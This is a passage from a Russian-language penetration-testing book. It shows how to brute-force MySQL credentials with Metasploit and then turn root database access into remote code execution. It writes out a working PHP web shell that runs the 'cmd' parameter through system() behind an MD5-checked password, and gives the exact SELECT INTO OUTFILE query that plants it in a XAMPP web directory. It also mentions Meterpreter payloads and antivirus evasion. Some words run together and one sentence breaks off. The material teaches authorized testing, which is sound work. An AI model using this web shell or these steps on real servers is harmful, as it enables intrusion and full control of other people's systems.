Определение учетных данных

Рис.3.4. Модуль mysql_login

Прежде чем продолжить, установим следующие значения, чтобы сделать сканирование более эффективным и уменьшить шум.

msf auxiliary(mysql_login) > set THREADS 10 THREADS => 10

msf auxiliary(mysql_login) > set VERBOSE false VERBOSE => false

msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true

msf auxiliary(mysql_login) >

Увеличениечислапотоковпоможетнамбыстреепройтисканирование,хотя это может быть более заметным. Больше потоков означает больше подключений к службе. Если этот конкретный хост не очень устойчив, можем вызвать падение сервиса, предупредив тем самым средства защиты. Если наша цель – действоватьтише,мы используемтолько один поток,но сканирование займет гораздобольшевремени.ЗначениепеременнойVERBOSE должнобытьустановлено в false, поскольку мы будем тестировать большое количество паролей и вывод на консоль может превратиться в путаницу. Дополнительным бонусом к невербальному выводу является тот факт, что он значительно улучшает время сканирования,поскольку Metasploit не должен выводить что-либо на экран после каждой попытки. Наконец, если для STOP_ON_SUCCESS задано значение true, мы остановим атаку в случае успеха.

Рис.3.5. Успешно аутентифицированное соединение с целевой базой данных

После подключения мы запросили доступные базы данных, но, похоже, на этом сервере нет ничего, что имело бы отношение к API. Возможно, API настроен на использованиедругой базыданных SQL и мы наткнулисьна экземп­ ляр разработки, где мало интересных данных.

Учитывая тот факт, что мы являемся администратором базы данных, root, мы должны иметь возможность делать много чего интересного, в том числе записыватьпроизвольныеданныенадиск.Еслимыможемсделатьэто,значит, мы способны вызвать удаленное выполнение кода.

Существует модуль Metasploit (сюрприз), который может доставитьисполняемые файлы и инициироватьобратное подключение, используя известные учетные данные. В случае с компьютерами,

работающими на Windows,exploit/windows/mysql/mysql_payload

может загрузить оболочку Meterpreter и выполнить ее, хотя тут есть некоторые недостатки. Стандартная полезная нагрузка Metasploit, скорее всего, будет обнаружена антивирусным программным обеспечением,которое сообщит о ваших действиях.

Обойти антивирус можно с помощью абсолютно нераспознаваемой полезной нагрузки Metasploit, но в нашем случае мы воспользуемся более простым и менее рискованным вариантом.

В то время как MySQL может записывать файлы на диск с помощью операторов SQL-запросов, на самом деле запускать двоичные файлы немного сложнее. Нельзя просто записать двоичные данные на диск, но можно записать исходный код приложения. Самый простой способ добиться выполнения кода – написать PHP-код внутри каталога приложения, который позволит нам

выглядиттак:

select "[shell code]" into outfile "[/path/to/file.php]";

Подключим несколько тестовых значений и посмотрим, можно ли выполнить запись в целевой каталог и, что более важно, будет ли веб-сервер приложения правильно обрабатывать наш PHP-код.

MariaDB [(none)]> select "<?php phpinfo();/*ECorpAppTest11251*/

?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";

Query OK, 1 row affected (0.01 sec) MariaDB [(none)]>

Флаг ECorpAppTest11251 добавлен в качестве комментария, если мы не сможем очистить эту оболочку после завершения теста и должны будем сообщить об этом Синей команде клиента.Это также поможет Синей команде определить файлы, пропущенные в рамкахупражнения по реагированию на компьютерные инциденты. Не всегда это необходимо делать, но это хорошая практика, особенно в случае с артефактами группы высокого риска.

Отлично – запрос оказался успешным. Мы можем проверить, работает ли интерпретатор PHP в этом каталоге и успешно ли выполняется файл, вызвав его из браузера, как показано на скриншоте.

Рис.3.6. PHP-код успешно выполняется

system(), то сможем выполнять произвольные команды на самом сервере. Ниже показан исходный код нашей веб-оболочки.

Рис.3.7. Исходный код веб-оболочки

Код довольно прост. Оператор if убеждается, что значение хеша MD5 па-

раметра входящего password соответствует 4fe7aa8a3013d07e292e5218c3 db4944.При наличии совпадения в функцию system() будетпередана командная строка в параметре cmd,которая выполнитее в качестве системной команды, предоставляя нам доступ к командной строке сервера.

Значение MD5, которое мы ищем, – это хеш-значение ECorpAppTest11251, что подтверждается командой Linux md5sum.

root@sol:~# echo -n ECorpAppTest11251 | md5sum

4fe7aa8a3013d07e292e5218c3db4944 - root@sol:~#

Чтобы легко записать код оболочки на диск с помощью MySQL-запроса SELECT INTO OUTFILE, можно сжать его до одной строки. К счастью, PHP не особо обращает внимание на возврат каретки, если код правильно разделен точками с запятой и фигурными скобками. Мы можем изменить нашу вебоболочку.

<?php if (md5($_GET['password']) ==

‘4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>

Если подключим это к нашему шаблону SELECT INTO OUTFILE, то сможем записать его на диск в подкаталоге xampp, который возьмем в интернете.

MariaDB [(none)]> select "<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";